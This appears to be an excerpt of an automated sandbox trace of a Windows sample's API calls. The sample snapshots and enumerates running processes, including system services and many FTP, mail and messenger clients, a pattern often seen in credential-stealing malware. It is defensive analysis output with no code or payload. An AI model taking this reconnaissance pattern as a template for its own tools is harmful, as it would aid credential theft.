	[0065.152] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x558718 | out: hHeap=0x500000) returned 1
	[0065.152] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x29c
	[0065.313] Process32FirstW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0065.314] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0065.315] lstrlenW (lpString="System") returned 6
	[0065.315] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0065.315] lstrlenW (lpString="smss.exe") returned 8
	[0065.315] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0065.316] lstrlenW (lpString="csrss.exe") returned 9
	[0065.316] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0065.317] lstrlenW (lpString="wininit.exe") returned 11
	[0065.317] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0065.317] lstrlenW (lpString="csrss.exe") returned 9
	[0065.317] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0065.318] lstrlenW (lpString="winlogon.exe") returned 12
	[0065.318] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0065.319] lstrlenW (lpString="services.exe") returned 12
	[0065.319] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0065.319] lstrlenW (lpString="lsass.exe") returned 9
	[0065.319] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0065.320] lstrlenW (lpString="svchost.exe") returned 11
	[0065.320] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0065.321] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0065.321] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0065.321] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0065.321] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0065.322] lstrlenW (lpString="svchost.exe") returned 11
	[0065.322] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0065.323] lstrlenW (lpString="dwm.exe") returned 7
	[0065.323] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0065.323] lstrlenW (lpString="svchost.exe") returned 11
	[0065.323] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0065.324] lstrlenW (lpString="svchost.exe") returned 11
	[0065.324] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0065.325] lstrlenW (lpString="svchost.exe") returned 11
	[0065.325] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0065.326] lstrlenW (lpString="svchost.exe") returned 11
	[0065.326] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0065.326] lstrlenW (lpString="svchost.exe") returned 11
	[0065.326] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0065.327] lstrlenW (lpString="svchost.exe") returned 11
	[0065.327] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0065.327] lstrlenW (lpString="svchost.exe") returned 11
	[0065.328] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0065.328] lstrlenW (lpString="svchost.exe") returned 11
	[0065.328] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0065.329] lstrlenW (lpString="svchost.exe") returned 11
	[0065.329] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0065.329] lstrlenW (lpString="svchost.exe") returned 11
	[0065.330] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0065.330] lstrlenW (lpString="spoolsv.exe") returned 11
	[0065.330] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0065.331] lstrlenW (lpString="svchost.exe") returned 11
	[0065.331] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0065.332] lstrlenW (lpString="audiodg.exe") returned 11
	[0065.332] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0065.333] lstrlenW (lpString="sihost.exe") returned 10
	[0065.333] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0065.333] lstrlenW (lpString="svchost.exe") returned 11
	[0065.333] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0065.334] lstrlenW (lpString="taskhostw.exe") returned 13
	[0065.334] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0065.335] lstrlenW (lpString="explorer.exe") returned 12
	[0065.335] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0065.335] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0065.335] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0065.336] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0065.336] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0065.337] lstrlenW (lpString="Memory Compression") returned 18
	[0065.337] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0065.338] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0065.338] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0065.338] lstrlenW (lpString="SearchUI.exe") returned 12
	[0065.338] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0065.339] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0065.339] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0065.340] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0065.340] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fur-hold.exe")) returned 1
	[0065.340] lstrlenW (lpString="fur-hold.exe") returned 12
	[0065.340] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="joan packages omissions.exe")) returned 1
	[0065.341] lstrlenW (lpString="joan packages omissions.exe") returned 27
	[0065.341] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vat.exe")) returned 1
	[0065.341] lstrlenW (lpString="vat.exe") returned 7
	[0065.341] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="catchuploaded.exe")) returned 1
	[0065.342] lstrlenW (lpString="catchuploaded.exe") returned 17
	[0065.342] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hart-changing-bills.exe")) returned 1
	[0065.343] lstrlenW (lpString="hart-changing-bills.exe") returned 23
	[0065.343] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="paxiltried.exe")) returned 1
	[0065.391] lstrlenW (lpString="paxiltried.exe") returned 14
	[0065.391] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cornell_contents.exe")) returned 1
	[0065.392] lstrlenW (lpString="cornell_contents.exe") returned 20
	[0065.392] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="avoidingsearchingmunicipal.exe")) returned 1
	[0065.393] lstrlenW (lpString="avoidingsearchingmunicipal.exe") returned 30
	[0065.393] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mustorgcitizenship.exe")) returned 1
	[0065.393] lstrlenW (lpString="mustorgcitizenship.exe") returned 22
	[0065.393] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="instructional_calibration_cheats.exe")) returned 1
	[0065.394] lstrlenW (lpString="instructional_calibration_cheats.exe") returned 36
	[0065.394] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ride_australian.exe")) returned 1
	[0065.395] lstrlenW (lpString="ride_australian.exe") returned 19
	[0065.395] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="easily stood currencies.exe")) returned 1
	[0065.395] lstrlenW (lpString="easily stood currencies.exe") returned 27
	[0065.395] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc remember.exe")) returned 1
	[0065.396] lstrlenW (lpString="rc remember.exe") returned 15
	[0065.396] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="records replace.exe")) returned 1
	[0065.397] lstrlenW (lpString="records replace.exe") returned 19
	[0065.397] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp physiology.exe")) returned 1
	[0065.398] lstrlenW (lpString="isp physiology.exe") returned 18
	[0065.398] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="feb.exe")) returned 1
	[0065.398] lstrlenW (lpString="feb.exe") returned 7
	[0065.398] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="citizenship.exe")) returned 1
	[0065.399] lstrlenW (lpString="citizenship.exe") returned 15
	[0065.399] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="wifi.exe")) returned 1
	[0065.400] lstrlenW (lpString="wifi.exe") returned 8
	[0065.400] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0065.400] lstrlenW (lpString="3dftp.exe") returned 9
	[0065.400] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0065.401] lstrlenW (lpString="absolutetelnet.exe") returned 18
	[0065.401] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0065.402] lstrlenW (lpString="alftp.exe") returned 9
	[0065.402] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0065.403] lstrlenW (lpString="barca.exe") returned 9
	[0065.403] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0065.404] lstrlenW (lpString="bitkinex.exe") returned 12
	[0065.404] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0065.406] lstrlenW (lpString="coreftp.exe") returned 11
	[0065.406] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0065.407] lstrlenW (lpString="far.exe") returned 7
	[0065.407] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0065.408] lstrlenW (lpString="filezilla.exe") returned 13
	[0065.408] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0065.409] lstrlenW (lpString="flashfxp.exe") returned 12
	[0065.409] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0065.411] lstrlenW (lpString="fling.exe") returned 9
	[0065.411] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0065.412] lstrlenW (lpString="foxmailincmail.exe") returned 18
	[0065.412] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0065.413] lstrlenW (lpString="gmailnotifierpro.exe") returned 20
	[0065.413] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0065.414] lstrlenW (lpString="icq.exe") returned 7
